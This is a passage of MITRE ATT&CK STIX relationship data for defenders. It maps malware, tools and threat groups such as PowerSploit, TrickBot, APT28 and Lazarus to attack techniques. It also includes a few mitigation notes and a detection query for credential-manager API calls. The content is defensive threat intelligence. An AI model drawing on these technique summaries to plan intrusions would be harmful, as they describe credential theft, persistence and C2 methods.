2012)","relationship_type":"uses","source_ref":"malware--48523614-309e-43bf-a2b8-705c2b45d7b2","target_ref":"attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b70e19d8-9602-4795-9d9b-ef18cdbe5d51","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://github.com/PowerShellMafia/PowerSploit","description":"PowerShellMafia. (2012, May 26). PowerSploit - A PowerShell Post-Exploitation Framework. Retrieved February 6, 2018.","source_name":"GitHub PowerSploit May 2012"},{"url":"http://powersploit.readthedocs.io","description":"PowerSploit. (n.d.). PowerSploit. Retrieved February 6, 2018.","source_name":"PowerSploit Documentation"}],"modified":"2020-03-18T20:30:29.879Z","description":"[PowerSploit](https://attack.mitre.org/software/S0194)'s Get-ProcessTokenGroup Privesc-PowerUp module can enumerate all SIDs associated with its current token.(Citation: GitHub PowerSploit May 2012)(Citation: PowerSploit Documentation)","relationship_type":"uses","source_ref":"tool--13cd9151-83b7-410d-9f98-25d0f0d1d80d","target_ref":"attack-pattern--25659dd6-ea12-45c4-97e6-381e3e4b593e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b70e627e-bd57-4e07-8e59-cb240034490a","created":"2019-05-29T14:17:51.202Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Proofpoint TA505 Jan 2019","description":"Schwarz, D. and Proofpoint Staff. (2019, January 9). ServHelper and FlawedGrace - New malware introduced by TA505. Retrieved May 28, 2019.","url":"https://www.proofpoint.com/us/threat-insight/post/servhelper-and-flawedgrace-new-malware-introduced-ta505"},{"source_name":"Deep Instinct TA505 Apr 2019","description":"Vilkomir-Preisman, S. (2019, April 2). New ServHelper Variant Employs Excel 4.0 Macro to Drop Signed Payload. Retrieved September 16, 2024..","url":"https://www.deepinstinct.com/blog/new-servhelper-variant-employs-excel-4-0-macro-to-drop-signed-payload"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-16T16:25:13.666Z","description":"[ServHelper](https://attack.mitre.org/software/S0382) has a module to delete itself from the infected machine.(Citation: Proofpoint TA505 Jan 2019)(Citation: Deep Instinct TA505 Apr 2019)","relationship_type":"uses","source_ref":"malware--aae22730-e571-4d17-b037-65f2a3e26213","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b70f1daf-612e-4e6c-b894-310eb436b39f","created":"2022-03-30T14:26:51.876Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Delpy Mimikatz Crendential Manager","description":"Delpy, B. (2017, December 12). howto ~ credential manager saved credentials. Retrieved November 23, 2020.","url":"https://github.com/gentilkiwi/mimikatz/wiki/howto-~-credential-manager-saved-credentials"},{"source_name":"Microsoft CredEnumerate","description":"Microsoft. (2018, December 5). CredEnumarateA function (wincred.h). Retrieved November 24, 2020.","url":"https://docs.microsoft.com/en-us/windows/win32/api/wincred/nf-wincred-credenumeratea"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-15T14:38:28.698Z","description":"Consider monitoring API calls such as CredEnumerateA that may list credentials from the Windows Credential Manager.(Citation: Microsoft CredEnumerate)(Citation: Delpy Mimikatz Crendential Manager)\n\nAnalytic 1 - Suspicious API calls related to Windows Credential Manager access.\n\n index=security sourcetype=\"WinEventLog:Microsoft-Windows-Sysmon/Operational\" event_type=\"api_call\"\n(api IN (\"CredEnumerateA\", \"CredEnumerateW\", \"CredReadA\", \"CredReadW\", \"CryptUnprotectData\"))","relationship_type":"detects","source_ref":"x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e","target_ref":"attack-pattern--d336b553-5da9-46ca-98a8-0b23f49fb447","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--b7113807-356f-455b-aaba-5c2822dd1394","created":"2021-12-01T18:55:31.007Z","x_mitre_version":"1.0","external_references":[{"source_name":"ESET Gelsemium June 2021","url":"https://www.welivesecurity.com/wp-content/uploads/2021/06/eset_gelsemium.pdf","description":"Dupuy, T. and Faou, M. (2021, June). Gelsemium. Retrieved November 30, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Chrommme](https://attack.mitre.org/software/S0667) can set itself to sleep before requesting a new command from C2.(Citation: ESET Gelsemium June 2021)","modified":"2022-05-05T18:06:15.647Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--579607c2-d046-40df-99ab-beb479c37a2a","target_ref":"attack-pattern--4eeaf8a9-c86b-4954-a663-9555fb406466","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--b714edbb-1dff-4e53-b474-127cbf531452","created":"2022-03-30T14:26:51.861Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"Monitor for an extracted list of ACLs of available groups and/or their associated settings.","modified":"2022-04-28T15:04:29.042Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--8e44412e-3238-4d64-8878-4f11e27784fe","target_ref":"attack-pattern--15dbf668-795c-41e6-8219-f0447c0e64ce","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b71738d0-d96e-4508-9820-ece76386903c","created":"2019-06-14T16:45:34.002Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"PWC KeyBoys Feb 2017","description":"Parys, B. (2017, February 11). The KeyBoys are back in town. Retrieved June 13, 2019.","url":"https://web.archive.org/web/20211129064701/https://www.pwc.co.uk/issues/cyber-security-services/research/the-keyboys-are-back-in-town.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-23T15:22:36.391Z","description":"[KeyBoy](https://attack.mitre.org/software/S0387) uses the Dynamic Data Exchange (DDE) protocol to download remote payloads.(Citation: PWC KeyBoys Feb 2017)","relationship_type":"uses","source_ref":"malware--5dd649c0-bca4-488b-bd85-b180474ec62e","target_ref":"attack-pattern--232a7e42-cd6e-4902-8fe9-2960f529dd4d","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b718fd1e-03bb-47cc-908d-22e62b029142","created":"2024-09-16T08:34:46.710Z","revoked":false,"external_references":[{"source_name":"Google Cloud APT41 2024","description":"Mike Stokkel et al. (2024, July 18). APT41 Has Arisen From the DUST. Retrieved September 16, 2024.","url":"https://cloud.google.com/blog/topics/threat-intelligence/apt41-arisen-from-dust"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-16T08:34:46.710Z","description":"[DUSTPAN](https://attack.mitre.org/software/S1158) can inject its decrypted payload into another process.(Citation: Google Cloud APT41 2024)","relationship_type":"uses","source_ref":"malware--37487ff6-de2a-4c14-9e8b-ba3b97f78aaf","target_ref":"attack-pattern--806a49c4-970d-43f9-9acc-ac0ee11e6662","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b719d37b-8f0e-4704-b21d-8977a5c7cceb","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.fireeye.com/blog/threat-research/2015/04/probable_apt28_useo.html","description":"FireEye Labs. (2015, April 18). Operation RussianDoll: Adobe & Windows Zero-Day Exploits Likely Leveraged by Russia’s APT28 in Highly-Targeted Attack. Retrieved April 24, 2017.","source_name":"FireEye Op RussianDoll"}],"modified":"2020-03-20T16:37:05.982Z","description":"[APT28](https://attack.mitre.org/groups/G0007) has used CVE-2015-1701 to access the SYSTEM token and copy it into the current process as part of privilege escalation.(Citation: FireEye Op RussianDoll)","relationship_type":"uses","source_ref":"intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c","target_ref":"attack-pattern--86850eff-2729-40c3-b85e-c4af26da4a2d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b71a28d8-a1b1-41b4-a0ac-f92bef513c6e","type":"relationship","created":"2019-09-13T14:28:14.481Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Machete July 2019","url":"https://www.welivesecurity.com/wp-content/uploads/2019/08/ESET_Machete.pdf","description":"ESET. (2019, July). MACHETE JUST GOT SHARPER Venezuelan government institutions under attack. Retrieved September 13, 2019."}],"modified":"2019-10-10T12:39:13.972Z","description":"[Machete](https://attack.mitre.org/software/S0409) detects the insertion of new devices by listening for the WM_DEVICECHANGE window message.(Citation: ESET Machete July 2019) ","relationship_type":"uses","source_ref":"malware--35cd1d01-1ede-44d2-b073-a264d727bc04","target_ref":"attack-pattern--348f1eef-964b-4eb6-bb53-69b3dcb0c643","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b71bc667-b3e8-4482-ba74-118049872be4","created":"2022-10-17T19:29:54.183Z","revoked":false,"external_references":[{"source_name":"TrendMicro EarthLusca 2022","description":"Chen, J., et al. (2022). Delving Deep: An Analysis of Earth Lusca’s Operations. Retrieved July 1, 2022.","url":"https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/a/earth-lusca-employs-sophisticated-infrastructure-varied-tools-and-techniques/technical-brief-delving-deep-an-analysis-of-earth-lusca-operations.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-17T19:29:54.183Z","description":"[Earth Lusca](https://attack.mitre.org/groups/G1006) required users to click on a malicious file for the loader to activate.(Citation: TrendMicro EarthLusca 2022)","relationship_type":"uses","source_ref":"intrusion-set--cc613a49-9bfa-4e22-98d1-15ffbb03f034","target_ref":"attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--b71e10b8-e566-470b-8a5c-b634ddfd3965","created":"2021-11-30T16:13:37.396Z","x_mitre_version":"1.0","external_references":[{"source_name":"Kaspersky ThreatNeedle Feb 2021","url":"https://securelist.com/lazarus-threatneedle/100803/","description":"Vyacheslav Kopeytsev and Seongsu Park. (2021, February 25). Lazarus targets defense industry with ThreatNeedle. Retrieved October 27, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[ThreatNeedle](https://attack.mitre.org/software/S0665) can decrypt its payload using RC4, AES, or one-byte XORing.(Citation: Kaspersky ThreatNeedle Feb 2021)","modified":"2022-04-13T13:37:30.318Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--16040b1c-ed28-4850-9d8f-bb8b81c42092","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b71e1e23-5fc2-46af-ab0b-afa442c24b66","created":"2022-09-27T16:41:35.857Z","revoked":false,"external_references":[{"source_name":"FoxIT Wocao December 2019","description":"Dantzig, M. v., Schamper, E. (2019, December 19). Operation Wocao: Shining a light on one of China’s hidden hacking groups. Retrieved October 8, 2020.","url":"https://www.fox-it.com/media/kadlze5c/201912_report_operation_wocao.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-27T16:41:35.857Z","description":"During [Operation Wocao](https://attack.mitre.org/campaigns/C0014), threat actors edited variable names within the [Impacket](https://attack.mitre.org/software/S0357) suite to avoid automated detection.(Citation: FoxIT Wocao December 2019)","relationship_type":"uses","source_ref":"campaign--b03d5112-e23a-4ac8-add0-be7502d24eff","target_ref":"attack-pattern--b0533c6e-8fea-4788-874f-b799cacc4b92","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b720dc1e-50b1-44f6-8c3e-2c6f78ef3497","created":"2024-08-22T21:09:58.800Z","revoked":false,"external_references":[{"source_name":"Kandji Cuckoo April 2024","description":"Kohler, A. and Lopez, C. (2024, April 30). Malware: Cuckoo Behaves Like Cross Between Infostealer and Spyware. Retrieved August 20, 2024.","url":"https://www.kandji.io/blog/malware-cuckoo-infostealer-spyware"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-22T21:09:58.800Z","description":"[Cuckoo Stealer](https://attack.mitre.org/software/S1153) can use sockets for communications to its C2 server.(Citation: Kandji Cuckoo April 2024)","relationship_type":"uses","source_ref":"malware--457a5e8d-d964-4130-bde3-c07bb41a093e","target_ref":"attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b7226792-d4ae-472c-a407-853d56fc887d","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"TrendMicro Patchwork Dec 2017","description":"Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.","url":"https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf"}],"modified":"2020-03-21T00:07:11.889Z","description":"[NDiskMonitor](https://attack.mitre.org/software/S0272) can obtain a list of all files and directories as well as logical drives.(Citation: TrendMicro Patchwork Dec 2017)","relationship_type":"uses","source_ref":"malware--d1183cb9-258e-4f2f-8415-50ac8252c49e","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b72be1af-b4d0-4607-8f97-377d23ddbb36","type":"relationship","created":"2020-09-08T15:30:29.208Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"SentinelOne FrameworkPOS September 2019","url":"https://labs.sentinelone.com/fin6-frameworkpos-point-of-sale-malware-analysis-internals-2/","description":"Kremez, V. (2019, September 19). FIN6 “FrameworkPOS”: Point-of-Sale Malware Analysis & Internals. Retrieved September 8, 2020."}],"modified":"2020-10-19T16:42:09.080Z","description":"[FrameworkPOS](https://attack.mitre.org/software/S0503) can enumerate and exclude selected processes on a compromised host to speed execution of memory scraping.(Citation: SentinelOne FrameworkPOS September 2019)","relationship_type":"uses","source_ref":"malware--1cdbbcab-903a-414d-8eb0-439a97343737","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--b73144e0-3101-4631-9bdc-4e74a9a7d278","created":"2022-08-18T18:46:56.877Z","x_mitre_version":"0.1","external_references":[{"source_name":"Google EXOTIC LILY March 2022","url":"https://blog.google/threat-analysis-group/exposing-initial-access-broker-ties-conti/","description":"Stolyarov, V. (2022, March 17). Exposing initial access broker with ties to Conti. Retrieved August 18, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[EXOTIC LILY](https://attack.mitre.org/groups/G1011) has registered domains to spoof targeted organizations by changing the top-level domain (TLD) to “.us”, “.co” or “.biz”.(Citation: Google EXOTIC LILY March 2022)","modified":"2022-08-18T19:15:54.061Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"intrusion-set--129f2f77-1ab2-4c35-bd5e-21260cee92af","target_ref":"attack-pattern--40f5caa0-4cb7-4117-89fc-d421bb493df3","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b7316e86-545b-4397-9b1f-d05a8ea64f4f","type":"relationship","created":"2019-05-14T15:26:39.915Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Kaspersky Lab. (2017, March 7). From Shamoon to StoneDrill: Wipers attacking Saudi organizations and beyond. Retrieved March 14, 2019.","url":"https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07180722/Report_Shamoon_StoneDrill_final.pdf","source_name":"Kaspersky StoneDrill 2017"}],"modified":"2019-06-07T20:52:36.970Z","description":"[StoneDrill](https://attack.mitre.org/software/S0380) has looked in the registry to find the default browser path.(Citation: Kaspersky StoneDrill 2017)","relationship_type":"uses","source_ref":"malware--8dbadf80-468c-4a62-b817-4e4d8b606887","target_ref":"attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b732b424-4648-48a5-8ecc-a2d55fda04c6","type":"relationship","created":"2021-10-08T15:41:36.540Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Checkpoint IndigoZebra July 2021","url":"https://research.checkpoint.com/2021/indigozebra-apt-continues-to-attack-central-asia-with-evolving-tools/","description":"CheckPoint Research. (2021, July 1). IndigoZebra APT continues to attack Central Asia with evolving tools. Retrieved September 24, 2021."}],"modified":"2021-10-08T15:41:36.540Z","description":"[xCaon](https://attack.mitre.org/software/S0653) has used Base64 to encode its C2 traffic.(Citation: Checkpoint IndigoZebra July 2021)","relationship_type":"uses","source_ref":"malware--21583311-6321-4891-8a37-3eb4e57b0fb1","target_ref":"attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b7330e62-2388-44e7-ab1c-5cac3df16d27","type":"relationship","created":"2020-03-02T14:19:22.938Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-25T19:01:04.751Z","description":"Identify critical business and system processes that may be targeted by adversaries and work to isolate and secure those systems against unauthorized access and tampering.","relationship_type":"mitigates","source_ref":"course-of-action--86598de0-b347-4928-9eb0-0acbfc21908c","target_ref":"attack-pattern--ac9e6b22-11bf-45d7-9181-c1cb08360931","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b7362262-2738-4d3f-a993-c116557a4eaa","created":"2023-03-17T14:51:42.500Z","revoked":false,"external_references":[{"source_name":"McAfee Lazarus Jul 2020","description":"Cashman, M. (2020, July 29). Operation North Star Campaign. Retrieved December 20, 2021.","url":"https://www.mcafee.com/blogs/other-blogs/mcafee-labs/operation-north-star-a-job-offer-thats-too-good-to-be-true/?hilite=%27Operation%27%2C%27North%27%2C%27Star%27"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-17T14:51:42.500Z","description":"During [Operation Dream Job](https://attack.mitre.org/campaigns/C0022), [Lazarus Group](https://attack.mitre.org/groups/G0032) uses HTTP and HTTPS to contact actor-controlled C2 servers.(Citation: McAfee Lazarus Jul 2020) ","relationship_type":"uses","source_ref":"campaign--0257b35b-93ef-4a70-80dd-ad5258e6045b","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b7366815-256b-4e67-839a-1eb9aba03721","type":"relationship","created":"2020-07-06T14:32:44.058Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"MacKeeper Bundlore Apr 2019","url":"https://mackeeper.com/blog/post/610-macos-bundlore-adware-analysis/","description":"Sushko, O. (2019, April 17). macOS Bundlore: Mac Virus Bypassing macOS Security Features. Retrieved June 30, 2020."}],"modified":"2020-07-06T15:18:53.628Z","description":"[Bundlore](https://attack.mitre.org/software/S0482) can install malicious browser extensions that are used to hijack user searches.(Citation: MacKeeper Bundlore Apr 2019)","relationship_type":"uses","source_ref":"malware--7bef1b56-4870-4e74-b32a-7dd88c390c44","target_ref":"attack-pattern--389735f1-f21c-4208-b8f0-f8031e7169b8","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b736ab77-4dd6-4c80-8b8a-d15446436e0e","type":"relationship","created":"2021-06-17T18:49:50.117Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-10-17T15:06:24.460Z","description":"Ensure IIS DLLs and binaries are signed by the correct application developers.","relationship_type":"mitigates","source_ref":"course-of-action--590777b3-b475-4c7c-aaf8-f4a73b140312","target_ref":"attack-pattern--b46a801b-fd98-491c-a25a-bca25d6e3001","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b741ebf6-1436-4c44-94cd-d3c5b1155a35","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Talos Cobalt Group July 2018","description":"Svajcer, V. (2018, July 31). Multiple Cobalt Personality Disorder. Retrieved September 5, 2018.","url":"https://blog.talosintelligence.com/2018/07/multiple-cobalt-personality-disorder.html"}],"modified":"2019-09-16T19:41:10.242Z","description":"[More_eggs](https://attack.mitre.org/software/S0284) can obtain information on installed anti-malware programs.(Citation: Talos Cobalt Group July 2018)","relationship_type":"uses","source_ref":"malware--bfd2738c-8b43-43c3-bc9f-d523c8e88bf4","target_ref":"attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--b745cf21-c63a-42f2-bc98-6bd61674917a","created":"2022-04-20T17:39:21.307Z","x_mitre_version":"0.1","external_references":[{"source_name":"Objective See Green Lambert for OSX Oct 2021","url":"https://objective-see.com/blog/blog_0x68.html","description":"Sandvik, Runa. (2021, October 1). Made In America: Green Lambert for OS X. Retrieved March 21, 2022."},{"source_name":"Glitch-Cat Green Lambert ATTCK Oct 2021","url":"https://www.glitch-cat.com/blog/green-lambert-and-attack","description":"Sandvik, Runa. (2021, October 18). Green Lambert and ATT&CK. Retrieved March 21, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Green Lambert](https://attack.mitre.org/software/S0690) can add init.d and rc.d files in the /etc folder to establish persistence.(Citation: Objective See Green Lambert for OSX Oct 2021)(Citation: Glitch-Cat Green Lambert ATTCK Oct 2021) ","modified":"2022-04-20T17:39:21.307Z","relationship_type":"uses","source_ref":"malware--59c8a28c-200c-4565-9af1-cbdb24870ba0","target_ref":"attack-pattern--dca670cf-eeec-438f-8185-fd959d9ef211","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b7573d56-3acb-464f-b63b-3734af37ad42","type":"relationship","created":"2020-06-30T00:39:39.898Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Sophos Ragnar May 2020","url":"https://news.sophos.com/en-us/2020/05/21/ragnar-locker-ransomware-deploys-virtual-machine-to-dodge-security/","description":"SophosLabs. (2020, May 21). Ragnar Locker ransomware deploys virtual machine to dodge security. Retrieved June 29, 2020."}],"modified":"2020-06-30T00:39:39.898Z","description":"[Ragnar Locker](https://attack.mitre.org/software/S0481) has used sc.exe to create a new service for the VirtualBox driver.(Citation: Sophos Ragnar May 2020)","relationship_type":"uses","source_ref":"malware--54895630-efd2-4608-9c24-319de972a9eb","target_ref":"attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b75e158b-3c2e-425d-a14e-84a974d86c8c","created":"2020-03-30T21:08:00.433Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Trend Micro Totbrick Oct 2016","description":"Antazo, F. (2016, October 31). TSPY_TRICKLOAD.N. Retrieved September 14, 2018.","url":"https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/tspy_trickload.n"},{"source_name":"Bitdefender Trickbot VNC module Whitepaper 2021","description":"Radu Tudorica. (2021, July 12). A Fresh Look at Trickbot’s Ever-Improving VNC Module. Retrieved September 28, 2021.","url":"https://www.bitdefender.com/files/News/CaseStudies/study/399/Bitdefender-PR-Whitepaper-Trickbot-creat5515-en-EN.pdf"},{"source_name":"Fidelis TrickBot Oct 2016","description":"Reaves, J. (2016, October 15). TrickBot: We Missed you, Dyre. Retrieved August 2, 2018.","url":"https://www.fidelissecurity.com/threatgeek/2016/10/trickbot-we-missed-you-dyre"},{"source_name":"S2 Grupo TrickBot June 2017","description":"Salinas, M., Holguin, J. (2017, June). Evolution of Trickbot. Retrieved July 31, 2018.","url":"https://www.securityartwork.es/wp-content/uploads/2017/07/Trickbot-report-S2-Grupo.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-11-30T22:45:32.494Z","description":"Some [TrickBot](https://attack.mitre.org/software/S0266) samples have used HTTP over ports 447 and 8082 for C2.(Citation: S2 Grupo TrickBot June 2017)(Citation: Fidelis TrickBot Oct 2016)(Citation: Trend Micro Totbrick Oct 2016) Newer versions of [TrickBot](https://attack.mitre.org/software/S0266) have been known to use a custom communication protocol which sends the data unencrypted over port 443. (Citation: 